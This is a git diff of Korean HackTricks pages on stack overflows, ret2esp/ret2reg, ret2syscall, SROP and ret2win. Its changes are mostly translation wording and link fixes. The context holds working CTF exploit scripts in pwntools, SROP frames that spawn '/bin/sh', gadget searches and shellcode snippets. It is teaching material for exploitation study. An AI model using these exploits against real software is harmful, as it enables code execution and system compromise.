섹션과 더 큰 크기로 `read`를 다시 호출하여 `dlresolve` 가짜 테이블을 저장하고 `system`을 로드한 후 main으로 돌아가 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 9bbbfcada..fd34f63f1 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,15 +4,15 @@ ## **Ret2esp** -**ESP(스택 포인터)는 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP(명령 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 교체하는 것을 포함합니다. 이렇게 하면 셸코드가 덮어쓴 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행되면 ESP는 다음 주소를 가리키며, 정확히 셸코드가 저장된 위치입니다. +**ESP(스택 포인터)가 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP(명령 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 교체하는 것을 포함합니다. 이렇게 하면 셸코드가 덮어쓴 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행되면 ESP는 다음 주소를 가리키며, 정확히 셸코드가 저장된 위치입니다. -**주소 공간 배치 무작위화(ASLR)**가 Windows나 Linux에서 활성화되지 않은 경우, 공유 라이브러리에서 발견된 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 활성화된 경우, 이러한 명령을 찾기 위해 취약한 프로그램 자체를 살펴봐야 할 수도 있습니다(그리고 [**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 할 수도 있습니다). +**주소 공간 배치 무작위화(ASLR)**가 Windows 또는 Linux에서 활성화되지 않은 경우, 공유 라이브러리에서 발견된 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 활성화된 경우, 이러한 명령을 찾기 위해 취약한 프로그램 자체를 살펴봐야 할 수도 있습니다(그리고 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)를 무력화해야 할 수도 있습니다). -게다가 EIP 손상 이후에 셸코드를 배치할 수 있는 것은, 스택의 중간이 아닌, 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 셸코드에 간섭하지 않도록 보장합니다. 셸코드가 함수의 스택 중간에 배치되면 이러한 간섭이 발생할 수 있습니다. +게다가 EIP 손상 이후에 셸코드를 배치할 수 있는 것은, 스택의 중간이 아닌, 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 셸코드에 간섭하지 않도록 보장합니다. 셸코드가 함수의 스택 중간에 배치되었다면 이러한 간섭이 발생할 수 있습니다. ### 공간 부족 -RIP를 덮어쓴 후에 쓸 공간이 부족한 경우(아마도 몇 바이트 정도), 초기 **`jmp`** 셸코드를 다음과 같이 작성하십시오: +RIP를 덮어쓴 후에 쓸 공간이 부족한 경우(아마도 몇 바이트 정도), 초기 **`jmp`** 셸코드를 다음과 같이 작성하세요: ```armasm sub rsp, 0x30 jmp rsp @@ -41,7 +41,7 @@ pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` -이 기술의 또 다른 예는 [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)에서 볼 수 있습니다. NX가 활성화되지 않은 상태에서 버퍼 오버플로우가 발생하며, `$esp`의 주소를 **줄이기 위해 가젯이 사용되고** 그 다음 `jmp esp;`를 사용하여 셸코드로 점프합니다: +이 기술의 또 다른 예는 [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)에서 볼 수 있습니다. NX가 활성화되지 않은 상태에서 버퍼 오버플로우가 발생하며, `$esp`의 주소를 **줄이기 위해 가젯이 사용**되고, 그 다음 `jmp esp;`를 사용하여 셸코드로 점프합니다: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -78,7 +78,7 @@ target.interactive() ``` ## Ret2reg -유사하게, 함수가 셸코드가 저장된 주소를 반환하는 경우, **`call eax`** 또는 **`jmp eax`** 명령어(일명 **ret2eax** 기법)를 활용하여 셸코드를 실행할 수 있는 또 다른 방법을 제공합니다. eax와 마찬가지로, **흥미로운 주소를 포함하는 다른 레지스터**도 사용할 수 있습니다 (**ret2reg**). +유사하게, 함수가 쉘코드가 저장된 주소를 반환하는 경우, **`call eax`** 또는 **`jmp eax`** 명령어(일명 **ret2eax** 기법)를 활용하여 쉘코드를 실행할 수 있는 또 다른 방법을 제공합니다. eax와 마찬가지로, **흥미로운 주소**를 포함하는 **다른 레지스터**도 사용할 수 있습니다 (**ret2reg**). ### 예시 @@ -86,25 +86,25 @@ target.interactive() - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) -- **`strcpy`**는 셸코드가 저장된 버퍼의 주소를 **`eax`**에 저장하고 **`eax`**는 덮어쓰이지 않으므로 `ret2eax`를 사용할 수 있습니다. +- **`strcpy`**는 쉘코드가 저장된 버퍼의 주소를 **`eax`**에 저장하고 **`eax`**는 덮어쓰이지 않으므로, `ret2eax`를 사용할 수 있습니다. ## ARM64 ### Ret2sp -ARM64에서는 **SP 레지스터로 점프할 수 있는** 명령어가 **없습니다**. **sp를 레지스터로 이동시키고 그 레지스터로 점프하는** 가젯을 찾는 것이 가능할 수 있지만, 내 Kali의 libc에서는 그런 가젯을 찾을 수 없었습니다: +ARM64에서는 **SP 레지스터로 점프하는** 명령어가 **없습니다**. SP를 레지스터로 이동시키고 그 레지스터로 점프하는 가젯을 찾는 것이 가능할 수 있지만, 내 Kali의 libc에서는 그런 가젯을 찾을 수 없었습니다: ```bash for i in `seq 1 30`; do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` -내가 발견한 유일한 방법은 sp가 점프하기 전에 복사된 레지스트리의 값을 변경하는 것이었다(그래서 그것은 쓸모없게 된다): +내가 발견한 유일한 방법은 sp가 점프하기 전에 복사된 레지스트리의 값을 변경하는 것이었고 (그래서 그것은 쓸모없게 되었다):
### Ret2reg -레지스트리에 흥미로운 주소가 있다면 적절한 명령어를 찾아서 그 주소로 점프할 수 있다. 다음과 같은 것을 사용할 수 있다: +레지스트리에 흥미로운 주소가 있다면 적절한 명령어를 찾아 점프하는 것이 가능하다. 다음과 같은 것을 사용할 수 있다: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` @@ -143,7 +143,7 @@ return 0;
-이진 파일이 **PIE 없이 컴파일**되었기 때문에 해당 가젯을 점프하는 데 사용할 것입니다. 패턴을 사용하여 **버퍼 오버플로우의 오프셋이 80**임을 확인할 수 있으므로 익스플로잇은 다음과 같습니다: +이진 파일이 **PIE 없이** 컴파일되었기 때문에 해당 가젯을 점프하는 데 사용할 것입니다. 패턴을 사용하여 **버퍼 오버플로우의 오프셋이 80**임을 확인할 수 있으므로 익스플로잇은 다음과 같습니다: ```python from pwn import * @@ -165,7 +165,7 @@ p.interactive() ## Protections - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 스택이 실행 가능하지 않다면, 스택에 쉘코드를 배치하고 이를 실행하기 위해 점프해야 하므로 도움이 되지 않습니다. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호는 esp 또는 다른 레지스터로 점프할 수 있는 명령어를 찾기 어렵게 만들 수 있습니다. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): 이는 esp 또는 다른 레지스터로 점프할 수 있는 명령어를 찾기 어렵게 만들 수 있습니다. ## References diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 62f5c48c9..2d67c41e7 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information 이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리의 함수를 호출하지 않습니다. 이 경우, 모든 것이 `/bin/sh`를 실행하기 위해 `sys_execve` 시스템 호출을 호출하도록 준비됩니다. 이 기술은 일반적으로 정적으로 컴파일된 바이너리에서 수행되므로, 많은 가젯과 시스템 호출 명령어가 있을 수 있습니다. @@ -13,12 +13,12 @@ - `rsi: 0, 전달된 인수 없음 지정` - `rdx: 0, 전달된 환경 변수 없음 지정` -따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 작성한 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 인식해야 함). 이를 위해, 알려진 영역에 `/bin/sh`를 작성할 수 있는 가젯이 필요합니다. +따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 작성한 다음 `syscall`을 수행해야 합니다 (스택을 제어하기 위해 필요한 패딩을 염두에 두어야 합니다). 이를 위해, `/bin/sh`를 알려진 영역에 쓰기 위한 가젯이 필요합니다. > [!TIP] -> 호출할 또 다른 흥미로운 시스템 호출은 **`mprotect`**로, 이는 공격자가 **메모리의 페이지 권한을 수정할 수 있게** 합니다. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합될 수 있습니다. +> 호출할 또 다른 흥미로운 시스템 호출은 **`mprotect`**로, 이는 공격자가 **메모리의 페이지 권한을 수정할 수 있게 해줍니다**. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html)와 결합될 수 있습니다. -## 레지스터 가젯 +## Register gadgets **이 레지스터들을 제어하는 방법**을 찾는 것부터 시작합시다: ```bash @@ -28,9 +28,9 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` -이 주소들을 사용하면 **스택에 내용을 쓰고 레지스터에 로드할 수 있습니다**. +이 주소들을 사용하면 **스택의 내용을 작성하고 레지스터에 로드할 수 있습니다**. -## 문자열 쓰기 +## 문자열 작성 ### 쓰기 가능한 메모리 @@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` ## 부족한 가젯 -만약 **가젯이 부족하다면**, 예를 들어 메모리에 `/bin/sh`를 쓰기 위해, 스택에서 모든 레지스터 값(RIP 및 파라미터 레지스터 포함)을 제어하기 위해 **SROP 기법을 사용할 수 있습니다**: +만약 **가젯이 부족하다면**, 예를 들어 메모리에 `/bin/sh`를 쓰기 위해, **스택에서 모든 레지스터 값을 제어하기 위해 SROP 기법을 사용할 수 있습니다** (RIP 및 파라미터 레지스터 포함): {{#ref}} ../srop-sigreturn-oriented-programming/ diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 9333ced46..f494f5226 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -4,7 +4,7 @@ ## Basic Information -**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호를 처리하기 위해 **신호 처리기**라는 특별한 함수로 현재 작업을 일시적으로 중단합니다. +**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, **신호 처리기**라는 신호를 처리하기 위해 설계된 특별한 함수로 신호를 처리하기 위해 현재 작업을 일시 중지합니다. 신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀**해야 합니다. 여기서 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다. @@ -13,7 +13,7 @@ > [!CAUTION] > ROP 체인에서 syscall **`sigreturn`**을 호출하고 **스택에 로드할 레지스터 값**을 추가함으로써 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 syscall `execve`를 `/bin/sh`로 호출할 수 있습니다. -이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 한 유형**이라는 점에 유의하십시오: +이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 일종**이라는 점에 유의하십시오: {{#ref}} ../rop-syscall-execv/ @@ -55,7 +55,7 @@ | __reserved | sigmask | +--------------------+--------------------+ ``` -더 나은 설명을 원하시면 다음도 확인하세요: +더 나은 설명을 위해 다음도 확인하세요: {{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared @@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared ## 예시 -[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성됩니다(값 `0xf`를 rxa에 넣음), 비록 이것이 최종 익스플로잇입니다: +여기에서 ROP를 통해 signeturn 호출이 구성된 [**예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) (rxa에 값 `0xf`를 넣음), 비록 이것이 최종 익스플로잇입니다: ```python from pwn import * @@ -90,7 +90,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -여기서 [**익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 이진 파일이 이미 `sigreturn`을 호출하고 있으므로 **ROP**로 이를 구축할 필요가 없습니다. +여기서 [**익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 이진 파일이 이미 `sigreturn`을 호출하고 있으므로 **ROP**로 이를 구축할 필요가 없습니다: ```python from pwn import * @@ -128,14 +128,14 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) -- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있다. +- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/index.html)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있습니다. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) -- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함하고 있다). +- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/index.html)을 **sigreturn** 구조체를 통해 쓸 수 있으며(바이너리는 문자열 `/bin/sh`를 포함하고 있습니다). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64비트, relro 없음, canary 없음, nx, pie 없음. 가젯이 부족한 `gets` 함수를 악용한 간단한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행한다. ROP 체인은 `/bin/sh`를 `.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하고 **SROP**를 호출하여 셸을 실행한다. +- 64비트, no relro, no canary, nx, no pie. 가젯이 부족한 `gets` 함수를 악용한 간단한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/index.html)을 수행합니다. ROP 체인은 `/bin/sh`를 `.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64비트 어셈블리 프로그램, relro 없음, canary 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있게 한다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정한다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키게 되어 셸코드를 다음 명령어로 쓰고 실행하게 된다. +- 64비트 어셈블리 프로그램, no relro, no canary, nx, no pie. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있게 합니다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 작성되고 실행됩니다. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) -- SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용된다. +- SROP는 셸코드가 배치된 위치에 실행 권한(memprotect)을 부여하는 데 사용됩니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 4e26361a1..4ea758a0c 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## What is a Stack Overflow -A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터의 손상, 제어 흐름의 중단, 그리고 잠재적으로 악성 코드의 실행을 초래할 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다. +A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터가 손상되고, 제어 흐름이 방해받으며, 잠재적으로 악성 코드가 실행될 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다. -이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기준 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다. +이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기본 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다. -취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사**하기 때문에 발생하여, 스택의 다른 부분을 덮어쓸 수 있게 됩니다. +취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사할 때** 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다. -이러한 취약점에 일반적으로 노출되는 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약한 방식으로 사용될 수 있습니다. +이와 같은 취약한 일반적인 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약하게 사용될 수 있습니다. 예를 들어, 다음 함수들이 취약할 수 있습니다: ```c @@ -25,11 +25,11 @@ printf("You entered: %s\n", buffer); 스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는 것을 나타내는 `Segmentation Fault`**를 기대하는 것입니다. -게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 하며, 이를 위해 일반적으로 **De Bruijn 수열**이 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 \_n**\_\*\*의 모든 가능한 부분 수열이 **정확히 한 번** 연속 부분 수열로 나타나는 **순환 수열**입니다. +게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 하며, 이를 위해 일반적으로 **De Bruijn 시퀀스**가 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **모든 가능한 길이 _n_의 부분 수열이 정확히 한 번** 연속 부분 수열로 나타나는 **순환 시퀀스**입니다. -이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 수열 중 하나를 패딩으로 사용하고, 그 후 덮어쓴 바이트의 오프셋을 찾을 수 있습니다. +이렇게 하면, EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 시퀀스 중 하나를 패딩으로 사용하고, 그 후 덮어쓴 바이트의 오프셋을 찾을 수 있습니다. -이를 위해 **pwntools**를 사용할 수 있습니다: +이 작업을 위해 **pwntools**를 사용할 수 있습니다: ```python from pwn import * @@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## 스택 오버플로우 악용 -오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP와 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\ +오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP 및 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\ 이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 위치로 리디렉션됩니다**. -그러나 다른 시나리오에서는 **스택 내의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지). +그러나 다른 시나리오에서는 **스택의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서). ### Ret2win -이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리** 내에 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(보통 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 비활성화되어 있음) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다: +이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리 내부에** 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(일반적으로 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 비활성화됨) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다: {{#ref}} ret2win/ @@ -71,9 +71,9 @@ ret2win/ stack-shellcode/ {{#endref}} -### ROP & Ret2... 기술 +### ROP 및 Ret2... 기술 -이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 이는 기존의 바이너리 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다: +이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 기존의 바이너리 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다: {{#ref}} ../rop-return-oriented-programing/ @@ -81,7 +81,7 @@ stack-shellcode/ ## 힙 오버플로우 -오버플로우는 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다: +오버플로우가 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다: {{#ref}} ../libc-heap/heap-overflow.md diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index c3e7e0ca6..de727a336 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information **Ret2win** 챌린지는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리로, 특히 **binary exploitation**과 관련된 작업에서 그렇습니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 보통 `win`, `flag`와 같은 이름을 가지고 있습니다. 이 함수가 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 이 챌린지는 일반적으로 스택에서 **return address**를 덮어써서 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 더 자세한 설명입니다: -### C 예제 +### C Example 취약점이 있는 간단한 C 프로그램과 우리가 호출하려는 `win` 함수가 있다고 가정해 보겠습니다: ```c @@ -27,7 +27,7 @@ vulnerable_function(); return 0; } ``` -이 프로그램을 스택 보호 없이 **ASLR**을 비활성화하여 컴파일하려면 다음 명령어를 사용할 수 있습니다: +이 프로그램을 스택 보호 없이 **ASLR**이 비활성화된 상태로 컴파일하려면 다음 명령어를 사용할 수 있습니다: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` @@ -35,9 +35,9 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c - `-fno-stack-protector`: 스택 오버플로우에 대한 보호를 비활성화합니다. - `-z execstack`: 스택에서 코드 실행을 허용합니다. - `-no-pie`: 위치 독립 실행 파일을 비활성화하여 `win` 함수의 주소가 변경되지 않도록 합니다. -- `-o vulnerable`: 출력 파일 이름을 `vulnerable`로 설정합니다. +- `-o vulnerable`: 출력 파일 이름을 `vulnerable`로 지정합니다. -### Pwntools를 이용한 Python 익스플로잇 +### Python Exploit using Pwntools 익스플로잇을 위해 **pwntools**를 사용할 것입니다. 이는 익스플로잇 작성을 위한 강력한 CTF 프레임워크입니다. 익스플로잇 스크립트는 버퍼를 오버플로우하고 반환 주소를 `win` 함수의 주소로 덮어쓰는 페이로드를 생성합니다. ```python @@ -67,18 +67,18 @@ objdump -d vulnerable | grep win Python 스크립트는 정교하게 제작된 메시지를 전송하여, `vulnerable_function`에 의해 처리될 때 